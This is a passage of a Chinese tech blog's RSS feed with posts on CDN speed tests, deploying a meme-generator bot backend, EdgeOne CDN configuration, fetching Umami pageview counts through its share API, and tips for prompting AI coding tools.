&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/5eaa947d-9363-4eac-b375-0c3830614571.PELlDsYM.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Secbit回源Cloudflare R2&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/e1986e03-7b69-467a-92f0-cea88c118924.D-VElNoQ.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;ITDog Tcping测试&lt;/h1&gt;
&lt;h2&gt;直连Cloudflare R2&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/6c8efb56-4fe8-44d5-82e2-45ca063014b1.2jXewD9z.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Secbit回源Cloudflare R2&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/a4654458-3b03-4ec3-9cfc-9d94615abaf9.DENm9YzL.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;ITDog 网站测速&lt;/h1&gt;
&lt;h2&gt;直连Cloudflare R2&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2bb7aee3-9ae7-48e8-bef7-37dbe0c8818c.i07_4Ag9.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Secbit回源Cloudflare R2&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/1a9a1ce4-720f-48dc-8fb7-8a9822caed68.BbVA6jo9.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;大文件下载&lt;/h1&gt;
&lt;h2&gt;直连Cloudflare R2&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/6887e3eb-59cf-41ce-bda4-31b0ffc87c5a.C3IshLhI.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Secbit回源Cloudflare R2&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/3328a47b-417a-4ba0-b3b8-5013c1ef89bf.f2lrkTXX.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;总结&lt;/h1&gt;
&lt;p&gt;Secbit相较于Cloudflare对于大陆直连更为友好，延迟更低、带宽更大。唯一的缺点就是直接买很贵，也建议大家可以多多写博客，&lt;strong&gt;网站月ip达到3k可以看置顶文章加群联系我帮你申请&lt;/strong&gt;，争取早日拿到属于你们的Secbit😋&lt;/p&gt;
</content:encoded></item><item><title>meme-generator部署指南以及对接Koishi</title><link>https://2x.nz/posts/meme-api/</link><guid isPermaLink="true">https://2x.nz/posts/meme-api/</guid><description>很早之前我就很好奇那些用群友的头像做的表情包真的是人工p的吗，实则不然！</description><pubDate>Sun, 29 Jun 2025 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;视频教程： https://www.bilibili.com/video/BV1i53PzUEzE/&lt;/p&gt;
&lt;h2&gt;后端部署&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Github： https://github.com/MemeCrafters/meme-generator&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;安装依赖&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pip install -U &quot;meme_generator&amp;lt;0.2.0&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;克隆仓库&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git clone https://github.com/MemeCrafters/meme-generator
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;克隆额外表情仓库&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git clone https://github.com/MemeCrafters/meme-generator-contrib
git clone https://github.com/anyliew/meme_emoji
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;前往 &lt;code&gt;~/.config/meme_generator/config.toml&lt;/code&gt; 填入配置文件。并且填入刚刚克隆的额外表情仓库： &lt;code&gt;meme_dirs&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[meme]
load_builtin_memes = true  # 是否加载内置表情包
meme_dirs = [&quot;/root/meme-api/meme-generator-contrib/memes&quot;, &quot;/root/meme-api/meme_emoji/emoji&quot;]  # 加载其他位置的表情包，填写文件夹路径
meme_disabled_list = []  # 禁用的表情包列表，填写表情的 `key`

[resource]
# 下载内置表情包图片时的资源链接，下载时选择最快的站点
resource_urls = [
  &quot;https://raw.githubusercontent.com/MemeCrafters/meme-generator/&quot;,
  &quot;https://mirror.ghproxy.com/https://raw.githubusercontent.com/MemeCrafters/meme-generator/&quot;,
  &quot;https://cdn.jsdelivr.net/gh/MemeCrafters/meme-generator@&quot;,
  &quot;https://fastly.jsdelivr.net/gh/MemeCrafters/meme-generator@&quot;,
  &quot;https://raw.gitmirror.com/MemeCrafters/meme-generator/&quot;,
]

[gif]
gif_max_size = 10.0  # 限制生成的 gif 文件大小，单位为 Mb
gif_max_frames = 100  # 限制生成的 gif 文件帧数

[translate]
baidu_trans_appid = &quot;&quot;  # 百度翻译api相关，表情包 `dianzhongdian` 需要使用
baidu_trans_apikey = &quot;&quot;  # 可在 百度翻译开放平台 (http://api.fanyi.baidu.com) 申请

[server]
host = &quot;127.0.0.1&quot;  # web server 监听地址
port = 2233  # web server 端口

[log]
log_level = &quot;INFO&quot;  # 日志等级
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python -m meme_generator.app
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看到以下日志即运行成功&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@AcoFork-NAS:~/meme-api/meme-generator# python3 -m meme_generator.app
Fontconfig warning: &quot;/usr/share/fontconfig/conf.avail/05-reset-dirs-sample.conf&quot;, line 6: unknown element &quot;reset-dirs&quot;
06-30 05:32:45 [INFO] meme_generator.log | Config file path: /root/.config/meme_generator/config.toml
06-30 05:32:48 [INFO] logging | Started server process [3363901]
06-30 05:32:48 [INFO] logging | Waiting for application startup.
06-30 05:32:48 [INFO] logging | Application startup complete.
06-30 05:32:48 [INFO] logging | Uvicorn running on http://127.0.0.1:2233 (Press CTRL+C to quit)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;前端对接&lt;/h2&gt;
&lt;p&gt;Koishi插件市场安装此插件的1.0.3版本&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/47f3db05-48bf-4382-817b-7a2b733dcd72.D35udz7Z.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/3ffb0585-eb36-46fe-b32a-0162514e6e63.hb4Gb2jt.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;启用插件。可以看到 &lt;code&gt;插件初始化完毕，共载入 455 个表情。&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/50da2a0d-7e49-491a-bad3-d9fde22a9df6.W7NlhO9k.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;使用&lt;/h2&gt;
&lt;p&gt;向Bot发送 &lt;code&gt;表情列表&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/ed053d82-535e-47af-ac17-b27025d25dab.D0Im5aC-.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;生成表情&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/572c88c4-301b-4048-81bf-fcbb70d4064e.nDxRpZsY.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>EdgeOne + Cloudflare，我们天下无敌！</title><link>https://2x.nz/posts/eo-cf/</link><guid isPermaLink="true">https://2x.nz/posts/eo-cf/</guid><description>EdgeOne的低延迟+Cloudflare的强大业务！我都不敢想这有多爽！</description><pubDate>Thu, 26 Jun 2025 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;引言&lt;/h1&gt;
&lt;p&gt;主播也是搞到了EdgeOne免费版激活码了，终于可以大展宏图了😋&lt;/p&gt;
&lt;h1&gt;我怎么换到EdgeOne免费版？&lt;/h1&gt;
&lt;p&gt;前往 &lt;a href=&quot;https://edgeone.ai/zh/redemption&quot;&gt;腾讯云EdgeOne免费计划兑换码 - 立即体验&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;推荐直接发推，按照要求发&lt;/p&gt;
&lt;p&gt;发完后私信EO官方即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/9ccbf7c1-6006-45f6-a9f4-e1979df8b12b.nGmfH8_u.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;默认EdgeOne给的Anycast CNAME过于垃圾？&lt;/h1&gt;
&lt;p&gt;默认在EO添加域名EO会发给你一个类似 &lt;code&gt;afo.im.eo.dnse4.com&lt;/code&gt; 这样的CNAME&lt;/p&gt;
&lt;p&gt;也就是 &lt;code&gt;你的域名.eo.dnse4.com&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;emm 这玩意吧 你们自己看速度吧&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/33a0b34f-d36f-4214-bcf3-616f9b174630.JuSywfxY.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我推荐大家使用 &lt;code&gt;43.174.150.150&lt;/code&gt; 。是一个中国香港的三网优化IP。速度如下。&lt;strong&gt;本人EdgeOne优选：&lt;/strong&gt; &lt;code&gt;eo.072103.xyz&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/ab4cfd6f-ef23-4670-8577-02850f372124.Cc4ArEQ6.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;换了CNAME后无法自动申请免费SSL？&lt;/h1&gt;
&lt;p&gt;如果你将你的域名托管给EO并且没有用EO给你的CNAME，则这个选项不可用&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/d81050d7-5d58-4b80-92d9-bf1e07285544.CHP8R_kc.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我推荐采用1panel、宝塔、acme.sh手动申请泛域名证书然后上传到腾讯云SSL控制台，就像这样&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/59cf2a66-2717-4291-b027-6cd2f270ece4.BVFByf70.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;EdgeOne怎么做重定向？&lt;/h1&gt;
&lt;p&gt;在这里&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/8f31d55f-4d0b-4209-935b-c2ec7924846c.0d0-Nvix.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/5ca74214-b4d0-4ac1-9fab-06d3096a5f7e.ClfOTFOt.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;EO边缘函数也支持重定向，支持更细化的重定向规则&lt;/p&gt;
&lt;p&gt;但是这玩意记录请求数，不如用Cloudflare的重定向规则&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2853531b-a57f-4b20-a8ec-98c0ca433604.DZyk96oi.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;首先我们在CF写这样一个规则
&lt;img src=&quot;https://2x.nz/_astro/ac9afee9-a368-4e10-a2a9-045e8672d636.CPUBRkmg.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后让EO回源到CF边缘节点。最简单就是随便填个IP然后套CDN&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/08445fb0-892a-4793-a359-6cfc3194dbce.BfmV6Q8Q.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接着配置EO回源，这里一定要使用加速域名作为回源Host头&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/4911f0ca-86a0-42d3-90cf-ad2434f782ae.WMr5adCR.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;原理：用户 - EO - CF - CF识别到Host匹配重定向规则 - 301&lt;/p&gt;
&lt;h1&gt;EdgeOne反代一切？&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;大部分情况将 &lt;code&gt;回源HOST头&lt;/code&gt; 改为源站就能解决反代后网站无法访问的问题&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-04-12-00-41-image.DBUnD7gz.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>关于我折腾了一晚上 EdgeOne</title><link>https://2x.nz/posts/edgeone/</link><guid isPermaLink="true">https://2x.nz/posts/edgeone/</guid><description>本来对EdgeOne不感兴趣的，但是后来被引诱说没备案可以用国内节点，虽然好像当事者是开玩笑但是节点速度真的不错</description><pubDate>Sat, 21 Jun 2025 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;这是个啥？&lt;/h1&gt;
&lt;p&gt;在我的&lt;a href=&quot;/posts/static-web&quot;&gt;早期文章&lt;/a&gt;中提过EdgeOne，当时它还仅有Page业务，而且IP是很垃圾的新加坡，并且还会吞提交。故我当时给出了不如Cloudflare Page的评价&lt;/p&gt;
&lt;p&gt;不过这玩意最近出了CDN业务，并且还是免费。所以我又重拾起来了&lt;/p&gt;
&lt;h1&gt;我要怎么用上？&lt;/h1&gt;
&lt;p&gt;浏览器访问： https://edgeone.ai 注册账号&lt;/p&gt;
&lt;p&gt;或者看视频： https://www.bilibili.com/video/BV1KmNUzVEEL&lt;/p&gt;
&lt;h1&gt;关于EdgeOne CDN - 网站安全加速&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;以下言论仅适用于&lt;strong&gt;未备案&lt;/strong&gt;用户&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;需要搞免费版兑换码。或者直接买个人版后可用，需要外币卡。&lt;/p&gt;
&lt;p&gt;通过创建 &lt;code&gt;加速区域全球可用区（不含中国大陆）&lt;/code&gt; 。会分配给你一个类似 &lt;code&gt;eo3-blog.afo.im.eo.dnse4.com&lt;/code&gt; 这样的CNAME地址要求你做CNAME解析。IP很烂。&lt;strong&gt;可以直接做优选。&lt;/strong&gt; 获取方式很简单，直接ITDOG PING &lt;code&gt;edgeone.ai&lt;/code&gt; 找个最快的IP直接写A解析（貌似国内的也可以🤔），如图。&lt;strong&gt;本人EdgeOne优选：&lt;/strong&gt; &lt;code&gt;eo.072103.xyz&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/42ff5956-d1db-4005-8d96-05fcf7eb76f0.4wUOrAg0.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/5e49847b-568e-44e3-97d1-737359d6d9d7.CaFijiTq.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/45abf772-9757-4172-984f-d9b5a01ae1de.CvpWBySr.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;因为这玩意是一个CDN，需要一个源站。如果你是静态站点可以用Cloudflare Page部署一个站，然后设置回源如下（注意回源Hosts头要填写源站域名，否则CF可能会报423 Locked &lt;em&gt;他妈的比腾讯云的418我是个茶壶规范多了😅&lt;/em&gt;）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2bb58f42-4d8d-4429-a412-ff256b41087d.DaEKMjf_.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最后开启SSL，结束，享受它吧&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/3063dcd0-857d-4280-8ed2-21f4beddb69a.D2mhFjS5.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;关于EdgeOne Pages（新）&lt;/h1&gt;
&lt;p&gt;不用花钱，注册账号后即可用&lt;/p&gt;
&lt;p&gt;不管你的加速区域在哪，都建议绑定自己的域名，否则可能出现访问401。含中国大陆的区域需要域名备案&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;以下言论仅适用于&lt;strong&gt;未备案&lt;/strong&gt;用户&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;通过创建 &lt;code&gt;加速区域全球可用区（不含中国大陆）&lt;/code&gt; 。IP现在从新加坡Anycast改为了俩IP（如果按国内可用来算）43.175.44.57（中国香港。非移动延迟250ms+，移动延迟100ms-）， 43.132.85.153（日本东京。三网200ms左右）。比起之前的新加坡平均300ms的神奇IP好了很多&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;EdgeOne Pages无法优选&lt;/strong&gt;。如果将EdgeOne Pages托管的域名指向非 &lt;code&gt;edgeone.app&lt;/code&gt; 解析出的IP。会报418（比如EdgeOne CDN节点IP）&lt;/p&gt;
&lt;p&gt;默认时延情况，如图&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/fcf64bcf-7121-4952-b7e1-1aac7b7fe33d.Cx-_WqTQ.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;以下言论仅适用于&lt;strong&gt;备案&lt;/strong&gt;用户&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;默认延迟50ms以下（中国大陆）&lt;/p&gt;
&lt;p&gt;优选不能将IP指向EdgeOne CDN节点的IP，否则报418。&lt;/p&gt;
</content:encoded></item><item><title>静态博客也想展示文章浏览量？当然可以！</title><link>https://2x.nz/posts/static-view/</link><guid isPermaLink="true">https://2x.nz/posts/static-view/</guid><description>利用Umami等站点分析软件可以让管理员了解站点活跃度，但是如果我们想向用户展示一些数据呢？</description><pubDate>Tue, 17 Jun 2025 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;引言&lt;/h1&gt;
&lt;p&gt;如果你用过WordPress，Halo等动态博客框架，你大概会在用户视角访问博文的时候看到浏览量这个信息。&lt;/p&gt;
&lt;p&gt;这个原理很简单，因为动态博客依赖于一个VPS，只需要让用户每次访问的时候给浏览量+1即可。&lt;/p&gt;
&lt;p&gt;那么如果我们是静态博客呢？&lt;/p&gt;
&lt;p&gt;我们可以依赖一些第三方服务，比如&lt;a href=&quot;https://umami.is&quot;&gt;Umami Cloud&lt;/a&gt;。在你的静态博客的head注入一个js，这样你就可以看到你的站点分析了，类似下图&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2c1e7d81-6f6d-4323-b0de-013b2d168be1.SUnxzeOg.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;现在我们确实可以看到每个文章（即/posts/xxx）的访问量了，但是我们要如何展示给用户呢？&lt;/p&gt;
&lt;h1&gt;逆向Umami的只读页面！（新版v3）&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;感谢nightNya提供的方案，你是天才！&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;首先我们启用分享URL&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/023f687b-6e4a-46d8-b7f2-4778f20ebe99._DKENKjz.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;注意这里的 &lt;code&gt;7PoDRgCzHFTs2vWB&lt;/code&gt; ，每个站点都不一样&lt;/p&gt;
&lt;p&gt;接着我们请求 &lt;code&gt;https://cloud.umami.is/analytics/us/api/share/7PoDRgCzHFTs2vWB&lt;/code&gt;，得到
&lt;em&gt;注意，这里的 &lt;code&gt;us&lt;/code&gt; 为你创建的账号区域，美国为us，欧盟为eu&lt;/em&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;websiteId&quot;: &quot;a66a5fd4-98b0-4108-8606-cb7094f380ac&quot;,
  &quot;token&quot;: &quot;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ3ZWJzaXRlSWQiOiJhNjZhNWZkNC05OGIwLTQxMDgtODYwNi1jYjcwOTRmMzgwYWMiLCJpYXQiOjE3NTA4MDIwMzB9.X5GQT5kslh6r25sFlap4Asz1NDA7mN3kcZW8wqbrnBc&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再接着我们请求，携带请求头 &lt;code&gt;x-umami-share-token&lt;/code&gt; 值为上一步获得的Token&lt;/p&gt;
&lt;p&gt;&lt;code&gt;https://cloud.umami.is/analytics/us/api/websites/a66a5fd4-98b0-4108-8606-cb7094f380ac/stats?startAt=0&amp;amp;endAt=1750805999999&amp;amp;unit=hour&amp;amp;timezone=Asia/Hong_Kong&amp;amp;path=eq./posts/cf-fastip/&amp;amp;compare=false&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;这里解释几个关键Params，其他的照搬&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;startAt：统计开始时间。Unix时间戳，我们填写为0让Umami从1970年开始统计&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;endAt：统计结束时间。Unix时间戳，我们可以使用 &lt;code&gt;Date.now()&lt;/code&gt; ，即当前时间，和startAt参数联动即可实现统计总浏览量&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;path：要查询的路径，填写为你的文章页去除了Host的路径，如 &lt;code&gt;/posts/hello&lt;/code&gt; 。注意！Umami会将 &lt;code&gt;/posts/hello&lt;/code&gt; 和 &lt;code&gt;/posts/hello/&lt;/code&gt; 视为两个不同的路径，请注意你的博客框架是否使用 &lt;code&gt;/&lt;/code&gt;。在v3版本中，需要使用 &lt;code&gt;eq.&lt;/code&gt; 前缀来进行精确匹配，例如 &lt;code&gt;path=eq./posts/hello/&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;你会得到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
    &quot;pageviews&quot;: 1655,
    &quot;visitors&quot;: 343,
    &quot;visits&quot;: 411,
    &quot;bounces&quot;: 183,
    &quot;totaltime&quot;: 30592,
    &quot;comparison&quot;: {
        &quot;pageviews&quot;: 0,
        &quot;visitors&quot;: 0,
        &quot;visits&quot;: 0,
        &quot;bounces&quot;: 0,
        &quot;totaltime&quot;: 0
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;pageviews&lt;/code&gt; 即浏览量。 &lt;code&gt;visitors&lt;/code&gt; 即访问人数。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Tips：浏览量记录为任意用户只要访问了则计数一次。而访问数记录不会记录单IP多次重复访问和同一时间段的多次请求不同页面&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Enjoy it！&lt;/p&gt;
&lt;p&gt;最终效果：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/ce822960-f7ef-444e-84d1-fa0758e2b5e8.e8J3NOKx.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>AI写不出优质的代码？其实是你引导错了！</title><link>https://2x.nz/posts/aicode-prompt/</link><guid isPermaLink="true">https://2x.nz/posts/aicode-prompt/</guid><description>如今，大语言模型百花齐放，有开山鼻祖OpenAI的ChatGPT系列，也有Anthropic开发的代码神器Claude系列。但是，哪怕模型再先进再聪明，如果用它的人使用的方法不对，那再好的模型用起来也是笨笨的</description><pubDate>Mon, 16 Jun 2025 16:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;视频链接： https://www.bilibili.com/video/BV1jw38z9EEn/&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;正确的引导方法&lt;/h1&gt;
&lt;p&gt;先搞清楚你自己具体的需求。比如代码用什么语言编写？用什么技术栈？要具体实现什么功能？应用的场景是什么？是前端、后端还是全栈等等&lt;/p&gt;
&lt;p&gt;逻辑清晰，简洁干练地表述你的需求。&lt;/p&gt;
&lt;p&gt;比如： &lt;code&gt;编写一个Python脚本，在代码中硬编码S3_Endpoint、S3_Area、S3_key、S3_Secret、S3_Url（暂时全部留空）。运行后监听Ctrl+Alt+A，一旦被按下，立即检查剪贴板内是否有图片（支持文件格式和纯图格式），将其转换为Webp格式并上传到S3 API的S3_Url路径下，最后模拟键入![](图片链接)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;如果不确定AI是否理解了你的需求，可以CallBack一下，避免AI假装理解了你的需求然后一通乱写，比如上面的表述可以改为：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;编写一个Python脚本，在代码中硬编码S3_Endpoint、S3_Area、S3_key、S3_Secret、S3_Url（暂时全部留空）。运行后监听Ctrl+Alt+A，一旦被按下，立即检查剪贴板内是否有图片（支持文件格式和纯图格式），将其转换为Webp格式并上传到S3 API的S3_Url路径下，最后模拟键入![](图片链接)。你明白了吗，请告诉我你将要如何完成这个任务，在我批准前请不要编写代码&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;有时候表达模糊实际上是好事。&lt;/p&gt;
&lt;p&gt;因为你一旦开始描述创建一个什么什么变量，赋值为多少多少的时候，实际上你不是在用AI写代码，而是让AI将你的自然语言代码转换为编程语言代码，这就不是一个创造式的需求，而是一个翻译类的需求，最终代码生成质量的好坏完全取决于你的技术知识储备和逻辑思维是否强大。&lt;/p&gt;
&lt;p&gt;所以，在面对大部分的需求，我们可以先大致描述一个框架，确认AI的方向正确后慢慢编写项目&lt;/p&gt;
&lt;p&gt;AI也会犯错，并且极其容易瞎猜。不要尽信AI给出的内容，在涉及到你不懂的知识时，我们可以翻阅&lt;a href=&quot;https://wikipedia.org&quot;&gt;维基百科&lt;/a&gt;等权威知识网来验证&lt;/p&gt;
&lt;p&gt;不要让AI一直自我检查。现代的AI IDE中，大部分已经实现了Agent模式，也就是： &lt;code&gt;用户提出需求 -&amp;gt; AI分析并实现需求 -&amp;gt; AI自动Debug -&amp;gt; 最终交付用户项目&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;但是在我半年的AI IDE使用经验中，如果代码出现Bug，请不要说类似： &lt;code&gt;这个代码跑不了，帮我看看&lt;/code&gt; 这样的话，我仍然建议你将完整的报错信息复制粘贴给AI并且要求他分析并解决，例如：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;[报错信息]它报错了，请根据报错信息深度分析一下问题导致的原因，并给我一个解决方案&lt;/code&gt;，而不是让AI自身Debug。&lt;/p&gt;
&lt;p&gt;因为有时候程序的报错可能只是一个简单的环境变量没配置，或者是你没有使用一个主流的方案，单纯让AI自我检讨只会让AI选择它最认为出错的地方。&lt;/p&gt;
&lt;p&gt;&lt;em&gt;换位思考一下，你有个甲方一直告诉你这个方案不行但是就不告诉你哪里不行你头不头疼。但是AI毕竟不是人类，它只会在它认为正确的道路上越走越远，运气好迭代几次Bug解决了，运气不好到达了IDE设置的迭代次数限制然后给你又新写了一坨新史山，然后你花钱买的请求数也就这样浪费了&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;最后，请善用AI，你也可以询问AI： &lt;code&gt;你的最佳调用方式是什么&lt;/code&gt;。&lt;s&gt;当然，她也有可能欺骗你&lt;/s&gt;。&lt;/p&gt;
&lt;h1&gt;AI推荐&lt;/h1&gt;
&lt;p&gt;&lt;a href=&quot;https://chatgpt.com&quot;&gt;ChatGPT&lt;/a&gt;：快速，不限额。适合解决你的疑问
&lt;img src=&quot;https://2x.nz/_astro/c2e37057-78c9-403f-b3af-e84bdad98f1e.oJ1CIdfx.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://claude.ai&quot;&gt;Claude&lt;/a&gt;：相比于GPT更强大，更擅长编写代码，尤其是前端，目前大部分AI IDE都接入了Claude 3.5 Sonnet及以上的模型，非常适合编写可拆解，易维护的小脚本&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/f9adcc5e-64bc-48f0-8845-893242abec33.BgiV0C2x.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://code.visualstudio.com/&quot;&gt;VS Code（Github Copilot）&lt;/a&gt;：AI IDE。由微软开发，免费用户可以使用Claude 3.5 Sonnet模型，但是份额较少。Pro计划10USD/m，仅支持Paypal和海外卡支付&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/70b6f916-ba70-45a6-b572-3b32214f0c1f.SwTKNUJa.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cursor.com&quot;&gt;Cursor&lt;/a&gt;：AI IDE。由Anysphere开发，免费用户仅能使用Auto模型（一般不会分配到Claude模型）。Pro计划10USD/m，仅支持Paypal和海外卡支付&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/4287002f-eb0e-43b0-87b7-1fa43c37a497.ColACglf.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
